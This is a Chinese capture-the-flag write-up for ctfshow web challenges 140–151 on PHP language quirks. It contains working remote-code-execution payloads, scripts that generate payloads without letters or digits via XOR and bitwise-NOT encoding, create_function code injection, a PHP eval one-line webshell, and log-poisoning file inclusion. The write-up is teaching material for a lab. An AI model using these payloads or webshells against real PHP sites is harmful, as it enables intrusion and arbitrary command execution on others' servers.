ctfshow web入门 php特性 web140--web150plus

web140

在这里插入图片描述在这里插入图片描述这里用松散比较的漏洞绕过

0和字符串比较的时候就是true
$code = eval("return $f1($f2());"); 等于0就可以

传参

POST:
f1=intval&f2=intval

查看源码
在这里插入图片描述

web141

在这里插入图片描述if(preg_match('/^\W+$/', $v3)) 是一段 PHP 代码,它使用了正则表达式函数 preg_match 来检查变量 $v3 的值是否完全由非单词字符组成。
PHP中,数字是可以和命令进行一些运算的,例如 1-phpinfo();、1-phpinfo()-1;是可以正常执行的。

v3的构造使用无字母数字RCE的取反构造来实现。

<?php
//在命令行中运行

/*author yu22x*/

fwrite(STDOUT,'[+]your function: ');

$system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

fwrite(STDOUT,'[+]your command: ');

$command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN)); 

echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';

在这里插入图片描述v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%93%8C)-&v2=1

在这里插入图片描述在这里插入图片描述
cat好像被过滤了,使用不了

GET?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-&v2=1

在这里插入图片描述

web142

在这里插入图片描述sleep($d); 是 PHP 中的一个函数调用,该函数会使当前脚本暂停执行指定的秒数。这里的 $d 是一个变量,表示需要让脚本等待的秒数。
传参

GET:
v1=0

查看源码获得flag

web143

在这里插入图片描述把取反过滤了,同时也过滤了减号、加号、取余号。

绕过方法:取反用异或代替,减号用乘或除代替。
异或脚本

<?php

/*author yu22x*/

$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        $preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)^urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);
import urllib
from sys import *
import os
def action(arg):
   s1=""
   s2=""
   for i in arg:
       f=open("xor_rce.txt","r")
       while True:
           t=f.readline()
           if t=="":
               break
           if t[0]==i:
               #print(i)
               s1+=t[2:5]
               s2+=t[6:9]
               break
       f.close()
   output="(\""+s1+"\"^\""+s2+"\")"
   return(output)
   
while True:
   param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
   print(param)

将这两个脚本用同一个软件打开(我用的VScode)
然后跑回python的脚本运行
在这里插入图片描述
最后得到命令

GET:
?v1=1&&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")*&v2=1

太难了

在这里插入图片描述

web144

在这里插入图片描述
修改一下脚本在这里插入图片描述 return $v1$v3$v2
传参

GET:
?v1=1&v2=("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%00"^"%7f%60%60%20%60%2a")&v3=-

在这里插入图片描述

web145

在这里插入图片描述
加减异或什么的过滤了但是还有取反,所以可以用之前的payload
只不过减号用其他的替代就行

GET?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

在这里插入图片描述

web146

在这里插入图片描述还是有取反继续上面的payload

?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|&v2=1

在这里插入图片描述

web147

在这里插入图片描述/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]

/D如果使用 限制结尾字符 , 则不允许结尾有换行正则匹配 ‘ p r e g m a t c h ( ′ / [ a − z 0 − 9 ] ∗ 限制结尾字符,则不允许结尾有换行 正则匹配`preg_match('/^[a-z0-9_]* 限制结尾字符,则不允许结尾有换行正则匹配pregmatch(/[az09]/isD’,$ctfshow)`表示匹配只有字母数字下划线的字符串

create_function()代码注入:

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}
create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo 1;}phpinfo();//."123";
}

结果就是

function f($a) {
  echo 1;
}
phpinfo();
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
所以在调用函数时,在前面加一个\并不影响函数的执行。

构造payload

GET?show=1;}system("tac f*");//
POST:ctf=\create_function 
//   是将没用的命令注释
1;}是将ctfshow那个函数关闭然后执行我所写的命令

在这里插入图片描述

web148

在这里插入图片描述还有异或
之前的脚本不知道怎么改,现在弄了一个新脚本

<?php
$a = "tac f*";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
    echo "%ff";
}
GET :
?code=(%8c%86%8c%8b%9a%92^%ff%ff%ff%ff%ff%ff)(%8b%9e%9c%df%99%d5^%ff%ff%ff%ff%ff%ff);

在这里插入图片描述

web149

在这里插入图片描述
file_put_contents($_GET['ctf'], $_POST['show']);:从HTTP请求(GET参数ctf)获取文件名,并将POST请求体中的show参数内容写入到该文件中。

unlink($file) 删除这个文件。
就是除了index.php都要被删除

那么我们就写个一句话木马到index.php 中然后连接

GET:
?ctf=index.php
POST:
show=<?php eval($_POST[a]);?>

回到根目录发现有个文件很像是flag,打开就有了
在这里插入图片描述

web150

在这里插入图片描述在这里插入图片描述日志文件包含但是我们并不能直接访问日志文件
如果 $isVIP 为真(即用户被认为是VIP)并且 $ctf 不包含冒号(“:”),则包含(执行)$ctf 参数所指定的文件。

那么我们就用ctf访问日志文件
但是isVIP怎么传呢

$key = $_SERVER['QUERY_STRING']; 
会将GET传入的参数变为一对一对的
例如?a=1
就会收到是a=1
GET:
?isVIP=1
并且user-agent传马
<?php eval($_POST[a]);?>
POST:
ctf=/var/log/nginx/access.log&a=system('tac f*');

在这里插入图片描述

web 151

在这里插入图片描述
log过滤无法用文件包含

extract($_GET);GET中取出所有键值对(传__CTFSHOW__的话就会使得ta变为一个类)
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}
看看有没有__CTFSHOW__这个变量
function __autoload($class){
        if(isset($class)){
            $class();
    }
}
程序会自动调用__autoload 这个方法,而这个方法$class() 会尝试执行这个类名(__CTFSHOW__)。那么我们直接让__CTFSHOW__等于phpinfo,在调用__autoload时后面会执行$class();,即执行phpinfo()

变量名中的点(.)会被转换成下划线(_)

GET?..CTFSHOW..=phpinfo

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/526142.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

【复现】畅捷通T-Plus SQL注入漏洞_68

目录 一.概述 二 .漏洞影响 三.漏洞复现 1. 漏洞一&#xff1a; 四.修复建议&#xff1a; 五. 搜索语法&#xff1a; 六.免责声明 一.概述 畅捷T是用友畅捷通推出的一款新型互联网企业管理系统&#xff0c;T能够满足成长型小微企业对其灵活业务流程的管控需求&#xff0…

socket之UDP组播(多播)

组播也可以称之为多播这也是 UDP 的特性之一。组播是主机间一对多的通讯模式&#xff0c;是一种允许一个或多个组播源发送同一报文到多个接收者的技术。组播源将一份报文发送到特定的组播地址&#xff0c;组播地址不同于单播地址&#xff0c;它并不属于特定某个主机&#xff0c…

Enzo Life Sciences--17β-Estradiol high sensitivity ELISA kit

高灵敏ELISA试剂盒&#xff0c;可检测到低至14 pg/ml的17β-雌二醇 雌二醇(estradiol) 是由卵巢内卵泡的颗粒细胞分泌的类固醇激素&#xff0c;是主要的雌激素&#xff0c;负责调节女性特征、附属性器官的成熟和月经-排卵周期&#xff0c;促进乳腺导管系统的产生&#xff0c;有…

鸿蒙南向开发:【智能烟感】

样例简介 智能烟感系统通过实时监测环境中烟雾浓度&#xff0c;当烟雾浓度超标时&#xff0c;及时向用户发出警报。在连接网络后&#xff0c;配合数字管家应用&#xff0c;用户可以远程配置智能烟感系统的报警阈值&#xff0c;远程接收智能烟感系统报警信息。实现对危险及时报…

【大功率汽车大灯升压方案】LED恒流驱动芯片FP7208升压车灯调光应用,PWM内部转模拟,调光深度1%,无频闪顾虑,低亮无抖动

宝马X5前中排座椅宽大舒适&#xff0c;车厢内储物空间丰富。操控性能极佳&#xff0c;底盘稳扎精良。原车为氙气灯&#xff0c;其实宝马的氙气大灯配的比其他车型要好&#xff0c;照明效果是没得说的。但是不管什么灯久了都会出现光衰的情况。下面这辆宝马X5车灯已老化严重。 宝…

学习记录15-运算放大器例题1

一、例题1 图中自己加的一些声明&#xff0c;方便待会讲解&#xff08;请忽略丑。。。&#xff09; 根据虚短原则&#xff1a;U U- U 3V*(R4/(R3R4)) 3V*&#xff08;20 / (1020)) 2V U- U- -1V*(R2/(R1R2))Uo*(R1/(R1R2)) -1V*(20/30)Uo*(10/30) -2/3VUo*1/3 …

如何通过专业二手手机店ERP工具提升手机零售业绩?

在竞争激烈的手机零售市场中&#xff0c;二手手机店如何脱颖而出&#xff0c;实现业绩的稳步增长&#xff1f;途渡科技的超机系列工具提供了一个专业而全面的解决方案&#xff0c;专注于通过二手手机店ERP工具提升商家的运营效率和销售业绩。 1、数字化革新&#xff0c;开启智能…

面试经典150题——删除链表的倒数第 N 个结点

1. 题目描述 2. 题目分析与解析 这个题目整体来讲还是比较简单的&#xff0c;因此直接给出解题思路&#xff1a; 遍历链表计数 计算要删除的节点的位置 创建虚拟头节点 创建指针指向虚拟头节点 移动指针到要删除的节点的前一个节点 删除节点 返回头节点 3. 代码实现 …

四川易点慧电子商务抖音小店安全运营全攻略

在互联网时代&#xff0c;电子商务已成为人们日常生活不可或缺的一部分。抖音小店作为抖音平台上的一个重要功能&#xff0c;为众多商家提供了一个全新的销售渠道。四川易点慧电子商务有限公司&#xff08;以下简称“易点慧”&#xff09;作为业内知名的电商服务提供商&#xf…

废品回收小程序推动回收行业的发展趋势

回收在全球都是一个重要行业&#xff0c;它为全球的环保作出了重要贡献。 随着科技的不断发展创新&#xff0c;废品回收的方式也逐渐多样&#xff0c;全新的线上回收小程序也逐渐出现在大众的生活中&#xff0c;在当下的手机时代&#xff0c;线上回收也为大众提供了更加便利的…

【AIGC】通义千问生成问答数据集

好久没有更新跟实际应用相关的内容了&#xff08;主要是因为公司知识产权问题未能立即公开&#xff0c;目前只能挑选一些脱敏内容与各位分享&#xff09;&#xff0c;如标题所示本期将跟大家讲一下如何通过通义千问生成问答数据集的。 在之前使用 Autokeras 的 RNN 训练时提到…

flex:1是干嘛的

直接上图&#xff1a; flex:1实际代表的是三个属性的简写&#xff0c;如上图所示。 其中flex-grow是用来增大盒子的&#xff0c;比如&#xff0c;当子盒子的宽度小于父盒子的宽度&#xff0c;父盒子的剩余空间可以 利用flex-grow来设置子盒子增大的占比&#xff1b; flex-shri…

如何利用软文吸引用户下单?媒介盒子告诉你

数字技术的进步改变了用户的购物行为&#xff0c;他们期望能够在最短的时间内找到并购买自己需要的产品或服务。软文凭借对用户心理的深入洞察以及柔性的表现形式&#xff0c;成为企业吸引用户的关键因素&#xff0c;今天媒介盒子就来和大家聊聊&#xff1a;如何利用软文吸引用…

Unity2023使用sdkmanager命令行工具安装Android SDK

1&#xff0c;下载cmdline-tools&#xff0c;官网地址&#xff1a;https://developer.android.com/studio或者https://dl.google.com/android/repository/文件名 文件名对应版本名。例如文件名为commandlinetools-win-9862592_latest.zip 引用Android cmdline-tools 版本与其…

Linux:五种IO模型的基本认识

文章目录 IO的本质五种IO模型异步和同步 阻塞IO非阻塞IO信号驱动IO IO的本质 在之前的内容中已经结束了对于网络和操作系统的学习&#xff0c;那么回过来再继续看IO&#xff0c;什么是IO呢&#xff1f; 对于网络的学习当中&#xff0c;实际上也是一种IO&#xff0c;数据从计算…

Android Studio导入第三方so库和jar包——Android Studio

导入so库 方式一&#xff08;libs文件夹&#xff09; 将项目以【Project】的结构显示&#xff0c;将目标架构对应的so文件夹&#xff08;如下图中 的arm64-v8a&#xff09;复制粘贴到app文件下的lib文件夹中&#xff08;如下图的步骤1 2 3&#xff09; 在build.gradle&…

【Java EE】Spring请求如何传递参数详解

文章目录 &#x1f38d;传递单个参数&#x1f334;传递多个参数&#x1f340;传递对象&#x1f384;后端参数重命名&#xff08;后端参数映射&#xff09;&#x1f332;传递数组&#x1f38d;传递集合&#x1f334;传递JSON数据&#x1f338;JSON概念&#x1f338;JSON的语法&a…

Python学习,记录不熟悉知识点

目录 Set&#xff08;集合&#xff09; 集合内置方法完整列表 根据字符串的表达式计算结果 ​编辑 条件控制&#xff1a; if – elif – else match...case 循环语句&#xff1a; while循环 for循环 在同一行中有多个赋值操作&#xff08;先计算&#xff0c;再赋值&…

ThinkPhp8 框架使用 mysql find_in_set 函数

前言: 使用mysql 存储一些标签时 会使用逗号拼接的存储方法 比如 1,2,3,11 一般情况下 查询 1 可能会用到 like %1% 但这样查询的不够准确 因为11也会被查询到 如果每次都多一个逗号 1,2,3,11, 查询时 like %1,% 这样存储有点不太符合程序设计 解决方案 ----------- 官网…

Google Play上架:恶意软件、移动垃圾软件和行为透明度拒审解析(关于对SDK 要求,第三方插件需自查清理混淆)

近期发现很多开发者在上架过程中遇到了 《关于恶意软件、移动垃圾软件和行为透明度》相关的拒审邮件,今天来聊一下关于sdk的政策要求,希望能提供一个自查方向。如有疑问,可以关注博主后私聊进行讨论和咨询。 SDK要求要求如下用户数据政策“敏感信息访问权限和 API”政策“恶…